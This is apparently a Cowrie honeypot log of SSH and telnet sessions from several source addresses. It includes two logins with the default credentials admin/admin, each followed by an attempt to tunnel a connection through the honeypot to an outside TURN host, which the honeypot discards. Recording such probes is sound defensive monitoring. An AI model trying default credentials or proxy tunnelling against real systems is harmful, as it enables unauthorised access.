{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:21.439300Z","src_ip":"45.15.226.100","session":"0b56ddee7c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.11876654624939,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:21.642369Z","src_ip":"147.182.143.59","session":"ada9b8cc0f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47722,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f102dd3144","protocol":"telnet","message":"New connection: 45.58.127.90:47722 (10.17.0.5:23) [session: a4f102dd3144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:26.643019Z"}
{"eventid":"cowrie.session.closed","duration":38.65734791755676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:37.372589Z","src_ip":"45.58.127.90","session":"4f756ac51ff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52094,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2fc2a0419d7","protocol":"telnet","message":"New connection: 45.58.127.90:52094 (10.17.0.5:23) [session: a2fc2a0419d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:38.612892Z"}
{"eventid":"cowrie.session.closed","duration":39.5573890209198,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:38.778269Z","src_ip":"45.58.127.90","session":"c563fd49f375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.184542655944824,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:45.548862Z","src_ip":"45.58.127.90","session":"c94f96a72a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.066343545913696,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:46.509141Z","src_ip":"45.58.127.90","session":"2d2a170fc0d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"17ddb1dd30ff","protocol":"ssh","message":"New connection: 45.148.10.121:51650 (10.17.0.5:22) [session: 17ddb1dd30ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:47.789669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:47.794717Z","src_ip":"45.148.10.121","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:47.883927Z","src_ip":"45.148.10.121","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.141238Z","src_ip":"45.148.10.121","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.229451Z","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.316888Z","src_ip":"45.148.10.121","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.320264Z","src_ip":"45.148.10.121","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.408383Z","src_ip":"45.148.10.121","session":"17ddb1dd30ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51662,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8fa6d4167d2","protocol":"ssh","message":"New connection: 45.148.10.121:51662 (10.17.0.5:22) [session: d8fa6d4167d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.489911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.494762Z","src_ip":"45.148.10.121","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.580338Z","src_ip":"45.148.10.121","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.838440Z","src_ip":"45.148.10.121","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:48.930822Z","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:49.018088Z","src_ip":"45.148.10.121","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:49.021476Z","src_ip":"45.148.10.121","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:49.109346Z","src_ip":"45.148.10.121","session":"d8fa6d4167d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.590412616729736,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:50.667723Z","src_ip":"45.58.127.90","session":"c4f1437c1b5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.67893934249878,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:57.534261Z","src_ip":"45.58.127.90","session":"02fba357fc67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52206,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc1fb33ac934","protocol":"telnet","message":"New connection: 147.182.143.59:52206 (159.203.135.109:23) [session: dc1fb33ac934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:58:59.242899Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49550,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc60d8358f27","protocol":"telnet","message":"New connection: 147.182.143.59:49550 (159.203.135.109:23) [session: bc60d8358f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:07.338993Z"}
{"eventid":"cowrie.session.closed","duration":45.15818524360657,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:11.801138Z","src_ip":"45.58.127.90","session":"a4f102dd3144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.81122636795044,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:12.054017Z","src_ip":"147.182.143.59","session":"dc1fb33ac934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33316,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0cee7bbc74","protocol":"telnet","message":"New connection: 45.58.127.90:33316 (10.17.0.5:23) [session: 6d0cee7bbc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:12.244812Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47744,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ceac2958c9e","protocol":"telnet","message":"New connection: 45.58.127.90:47744 (10.17.0.5:23) [session: 7ceac2958c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:18.536031Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47738,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c97465bd1c9","protocol":"telnet","message":"New connection: 45.58.127.90:47738 (10.17.0.5:23) [session: 7c97465bd1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:19.189500Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41032,"dst_ip":"10.17.0.5","dst_port":23,"session":"31801d7b80e7","protocol":"telnet","message":"New connection: 45.58.127.90:41032 (10.17.0.5:23) [session: 31801d7b80e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:19.414930Z"}
{"eventid":"cowrie.session.closed","duration":42.57374930381775,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:21.186528Z","src_ip":"45.58.127.90","session":"a2fc2a0419d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47746,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75bc17e6848","protocol":"telnet","message":"New connection: 45.58.127.90:47746 (10.17.0.5:23) [session: a75bc17e6848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:21.365305Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47756,"dst_ip":"10.17.0.5","dst_port":23,"session":"461909d154d2","protocol":"telnet","message":"New connection: 45.58.127.90:47756 (10.17.0.5:23) [session: 461909d154d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:21.782873Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57514,"dst_ip":"159.203.135.109","dst_port":23,"session":"20d3fbb5dd71","protocol":"telnet","message":"New connection: 147.182.143.59:57514 (159.203.135.109:23) [session: 20d3fbb5dd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:23.089258Z"}
{"eventid":"cowrie.session.closed","duration":9.31007170677185,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:32.399154Z","src_ip":"147.182.143.59","session":"20d3fbb5dd71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38488,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc032286ab5a","protocol":"telnet","message":"New connection: 45.58.127.90:38488 (10.17.0.5:23) [session: bc032286ab5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:32.859013Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38490,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0ebb971dc2","protocol":"telnet","message":"New connection: 45.58.127.90:38490 (10.17.0.5:23) [session: 8a0ebb971dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:33.562030Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59508,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e84efc82d2","protocol":"telnet","message":"New connection: 147.182.143.59:59508 (159.203.135.109:23) [session: 21e84efc82d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:34.291819Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57454,"dst_ip":"159.203.135.109","dst_port":23,"session":"26197438a765","protocol":"telnet","message":"New connection: 147.182.143.59:57454 (159.203.135.109:23) [session: 26197438a765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:40.372788Z"}
{"eventid":"cowrie.session.closed","duration":10.662853956222534,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:44.954733Z","src_ip":"147.182.143.59","session":"21e84efc82d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90245866775513,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:53.147150Z","src_ip":"45.58.127.90","session":"6d0cee7bbc74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75801658630371,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:53.947396Z","src_ip":"45.58.127.90","session":"7c97465bd1c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.440770387649536,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:56.813439Z","src_ip":"147.182.143.59","session":"26197438a765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.36063098907471,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:59.725833Z","src_ip":"45.58.127.90","session":"a75bc17e6848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58774,"dst_ip":"10.17.0.5","dst_port":23,"session":"98191439831c","protocol":"telnet","message":"New connection: 45.58.127.90:58774 (10.17.0.5:23) [session: 98191439831c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:59:59.892886Z"}
{"eventid":"cowrie.session.closed","duration":41.00498390197754,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:00.419796Z","src_ip":"45.58.127.90","session":"31801d7b80e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43668,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb94d45db9c4","protocol":"telnet","message":"New connection: 45.58.127.90:43668 (10.17.0.5:23) [session: fb94d45db9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:02.613523Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43660,"dst_ip":"10.17.0.5","dst_port":23,"session":"995ebae5d2f8","protocol":"telnet","message":"New connection: 45.58.127.90:43660 (10.17.0.5:23) [session: 995ebae5d2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:03.926417Z"}
{"eventid":"cowrie.session.closed","duration":42.48557162284851,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:04.268301Z","src_ip":"45.58.127.90","session":"461909d154d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.92852187156677,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:04.464437Z","src_ip":"45.58.127.90","session":"7ceac2958c9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.56525778770447,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:06.904107Z","src_ip":"147.182.143.59","session":"bc60d8358f27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43670,"dst_ip":"10.17.0.5","dst_port":23,"session":"19bf74dd5192","protocol":"telnet","message":"New connection: 45.58.127.90:43670 (10.17.0.5:23) [session: 19bf74dd5192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:06.938727Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52648,"dst_ip":"10.17.0.5","dst_port":23,"session":"3848074cb506","protocol":"telnet","message":"New connection: 45.58.127.90:52648 (10.17.0.5:23) [session: 3848074cb506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:10.179231Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51918,"dst_ip":"159.203.135.109","dst_port":23,"session":"53592787256c","protocol":"telnet","message":"New connection: 147.182.143.59:51918 (159.203.135.109:23) [session: 53592787256c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:10.891243Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"300aacdb05fe","protocol":"telnet","message":"New connection: 45.58.127.90:52674 (10.17.0.5:23) [session: 300aacdb05fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:11.288301Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7de1f11b56","protocol":"telnet","message":"New connection: 45.58.127.90:52662 (10.17.0.5:23) [session: 4f7de1f11b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:12.282419Z"}
{"eventid":"cowrie.session.closed","duration":39.83878016471863,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:13.400681Z","src_ip":"45.58.127.90","session":"8a0ebb971dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52678,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7285cc32892","protocol":"telnet","message":"New connection: 45.58.127.90:52678 (10.17.0.5:23) [session: a7285cc32892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:13.543523Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4816196df0e","protocol":"telnet","message":"New connection: 45.58.127.90:52684 (10.17.0.5:23) [session: d4816196df0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:15.605464Z"}
{"eventid":"cowrie.session.closed","duration":42.76561188697815,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:15.624479Z","src_ip":"45.58.127.90","session":"bc032286ab5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.893224239349365,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:24.784257Z","src_ip":"147.182.143.59","session":"53592787256c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20753765106201,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:34.100298Z","src_ip":"45.58.127.90","session":"98191439831c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39828,"dst_ip":"159.203.135.109","dst_port":23,"session":"782235998d28","protocol":"telnet","message":"New connection: 147.182.143.59:39828 (159.203.135.109:23) [session: 782235998d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:38.292322Z"}
